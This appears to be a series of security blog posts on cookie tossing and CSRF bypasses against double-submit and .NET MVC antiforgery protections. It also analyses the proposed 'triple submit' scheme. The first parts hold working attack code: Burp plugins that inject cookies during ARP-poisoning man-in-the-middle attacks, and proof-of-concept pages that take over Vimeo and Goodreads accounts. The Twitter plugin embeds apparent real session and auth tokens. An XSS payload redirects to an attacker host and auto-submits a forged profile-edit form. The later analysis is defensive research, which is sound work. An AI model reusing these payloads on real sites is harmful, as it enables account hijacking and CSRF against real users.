Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

Analysis of John Wilander’s Triple Submit Cookies

TLDR

At OWASP Appsec Research John Wilander recently presented an interesting CSRF mitigation – an enhancement to double submit he calls “triple submit”. It’s not implemented yet, but the idea would mitigate some of the problems with a naive double submit algorithm. This post takes a look at that and comes away with the conclusion that triple submit is an improvement over a naive double submit implementation, but doesn’t mitigate CSRF problems as well as other widespread stateless solutions in use.

Background

Double submit cookie mitigations to CSRF are common and implementations can vary a lot. The solution is tempting because it’s scalable and easy to implement. One of the most common variation is the naive:

if (cookievalue != postvalue)
    throw CSRFCheckError

In other words, if an attacker can write a cookie, they can defeat the protection. I’ll refer to this as “naive double submit” for the rest of this post.

Naive double submit has a couple weaknesses. Writing cookies is a lot easier than reading them. Anyone on the same local network can write cookies, or you can write them with an XSS in a neighboring domain. We chatted about this a bit in our 28c3/Blackhat AD talk. As part of that, I showed a bug I opened against owa in 2010, which used to use a naive double submit implementation (and is now fixed, as is the neighbor XSS used to write the cookies). Also, check out my mad video editing skills, which I used to censor people who emailed my test account by accident and probably didn’t need to be censored anyway, but that’s just how I roll.

Better versions of double submit are common also. One variation is to tie the submit values to the session identifier (e.g. the token is a hash of the session ID). ASP.net MVC4 implements something sort of similar to this, and I think what they do is pretty good. I dropped this into reflector to see how it’s implemented.

First in System.Web.Helpers.AntiXsrf.Validate

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then look at what ValidateTokens is doing:

    public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
    {
        if (sessionToken == null)
        {
            throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
        }
        if (fieldToken == null)
        {
            throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
        }
        if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
        {
            throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
        }
        if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
        {
            throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
        }
        string b = string.Empty;
        BinaryBlob objB = null;
        if ((identity != null) && identity.IsAuthenticated)
        {
            objB = this._claimUidExtractor.ExtractClaimUid(identity);
            if (objB == null)
            {
                b = identity.Name ?? string.Empty;
            }
        }
        bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
        if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
        {
            throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
        }
        if (!object.Equals(fieldToken.ClaimUid, objB))
        {
            throw HttpAntiForgeryException.CreateClaimUidMismatchException();
        }
        if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
        {
            throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
        }
    }
}

Even given the assumption the attackers can write cookies, this is difficult to attack. It’s stateless, and it does compare the cookie to forms, but it also extracts and validates username, the claimUid, and any additional data. By default, one user’s token won’t work on another user or another session. I don’t know the details of other stateless CSRF implementations, but with sites that look like they’re doing things right (Gmail CSRF protection) I’d bet they do something similar.

Any proposed new CSRF protection should offer some advantage against existing commonly implemented solutions (e.g. ASP.net MVC CSRF protection). It doesn’t need to be better at everything, but it should be better at something.

Triple Submit Cookies

John Wilinder recently wrote up an interesting variation on the double submit scheme called “triple submit”. Thanks to John for writing this up, it’s great people are looking at this problem – web app people often don’t realize how easy cookie writes can be. There’s no implementation for triple submit available at the moment, but this is what I gather:

  • The value of the cookie is compared with the POST value, like a regular double submit.
  • A cookie is set with HTTP-Only
  • There can only be exactly one cookie with the prefix in the request or the request fails.
  • The name of the cookie has a prefix plus random value (e.g. random-cookie7-afcade2…).

Let’s look at these one by one.

Cookie == Post, HTTP-Only

Checking that a cookie is equal to POST is the same as the naive double submit solution I mentioned above. It does add security, but has weaknesses. Like I mention above, people in neighboring domains can write cookies, and people in the middle can write cookies.

HTTP-Only is irrelevant in this case. The property matters when reading cookies, but not writing new ones.

Exactly One Cookie with the Prefix

The third bullet does add security when compared with the naive solution. A common attack with naive double submit is to write a cookie with an XSS in a neighboring domain (e.g. from site1.example.com to site2.example.com). If the user is logged in with cookies and they write a single cookie of their own, this will create two cookies, which the server could detect. This is pretty good, and prevents quite a few attacks, or at least makes them a lot harder.

There are still several issues I have with this:

First, performance penalty/implementation flaws. It might be more complicated than you think to verify exactly one cookie is being sent. A lot (most?) web application frameworks treat reading cookies as a case insensitive dictionary. In PHP, the $_COOKIE variable is theoretically an array of all the cookies, but if the browser sends “Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss; CsRf=IMDIFFERENT”, the array will only contain the first one. It’s similar with .NET’s Request.Cookie array, and most other server side implementations. One example of an implementation flaw is if the code made the (unlikely) mistake of referencing the POST value (e.g.Request.cookies[$POST_VAL]) then an adversary could attack this in the same way he’d attack the naive double submit. To prevent this, it seems like triple submit would have to iterate through each cookie name value pair and check for the prefix. What’s the performance penalty? It might be negligible, but with modern applications having dozens of cookies that would have to be iterated on with each request, it is something that should be measured.

Second, not all login methods require cookies. Say triple submit was implemented without any implementation flaws, but somebody used this as the method to prevent CSRF on a single sign on Kerberos/NTLM authed website. If the victim hasn’t logged in so that their token is set, an attacker could toss a cookie of the correct format (random-cookie7-…) and the exploitabiliy would be equivalent to the naive double submit. There would only be one cookie so the check would pass, and it’s SSO so the victim is always logged in.

Third, all browser cookie-jars overflow eventually. This attack would be difficult, but aren’t a lot of attacks when they start as ideas? Say the victim’s browser had cookies that looked like this:

AuthCookie=<guid>;Name=websters;random-cookie7-<random value>=<guid>

In triple submit, the POST value has to match the random-cookie7 prefix. One attack would be to overflow the cookie jar with some precision, so that it overflows random-cookie7, but not AuthCookie. In the end, it might look like the following:

random-cookie7-<attacker-value>=<attacker guid>;filler=1;filler=2;....
AuthCookie=<guid> (rest has overflowed)

Using this, an attacker could potentially bypass the CSRF protection.

Cookie Name with Prefix

The cookie name is the third thing submitted in the ‘triple submit’ solution. This probably doesn’t add security in the XSS neighbor case, but does add some in the MiTM case.

It’s common for people think there is only one cookie written if the cookie name is the same. Whenever I’ve tested, this isn’t the case. Even if the “tossed cookie” names are identical the browser still sends two cookies. Let’s look at an example.

A legitimate site, example.com might set a cookie:

<script>
document.cookie = "csrf=foofoofoofoofoofoofoofoo; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

If a neighboring site, host1.example.com tries to write a cookie with the same name:

<script>
document.cookie = "csrf=tosstosstosstosstoss; domain=.example.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

In major browsers there now exist two cookies with the same name. In the requests to example.com it now looks something like this:

Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss

The point of this is, in the neighbor XSS case there will almost always be more than one cookie in the request whether there’s a hidden unique name or not.

Another more rare but applicable attack is a MiTM where an attacker is trying to overwrite a secure HTTPS-only cookie from an HTTP site. This is a different story. If I’m in the middle, I can write cookies, even secure ones, as long as I know the name of the cookie. Randomizing the cookie name makes an attack quite a bit harder; the goal shifts from overwriting something specific to trying to expire a random cookie where I don’t know the name. However, I can still imagine attacks on an implementation of triple submit when you’re in the middle: If the server legitimately expires the CSRF tokens (it would probably have to at some point) you might be able to force this request. If the cookies don’t have expire dates, you could crash the browser to force these cookies to expire. If the random piece of the cookie name isn’t that long you could expire millions and eventually guess the right one. There might also be clever SSL tricks that cut up certain responses so that an old cookie is expired but the new one isn’t set (leaving you free to set one). Speculative attacks on speculative implementations aside, with a good implementation having the random name would at least make overwriting the cookie from the middle significantly more difficult.

The Simplicity Advantage?

I think the best argument in favor of triple submit versus a double submit tied to the auth tokens (e.g. MVCv4) would be one of simplicity. I don’t like this argument much for a few reasons

  • Implementation wise, CSRF mitigations only need to be implemented one time per framework, and implementation isn’t substantially more difficult to code one way or the other.
  • You always need at least some minimal knowledge of the application. If you were to put a CSRF solution into a WAF and added this as a rule for all POST requests, what if the application sometimes also changes state for GET? Solutions tied with auth tokens really wouldn’t be much more complicated, even with WAF type scenarios.
  • Although with triple submit the idea is simpler, I think there are quite a few more gotchas, and it seems more easy to mess up. This is somewhat subjective, but I’ve tried to point out a few ways the implementation could have problems in this post

Conclusions

Triple cookie submit is an improvement over naive double submit. Naive double submit makes some CSRFs more difficult to exploit, and like that, triple submit makes many vectors even more difficult to exploit. However, there are still attack vectors that triple submit doesn’t protect against – overflowing the cookie jar, CSRF against SSO auth, and probably some clever MiTM vectors. Although triple submit offers some additional security, I think this is still worse than other existing solutions.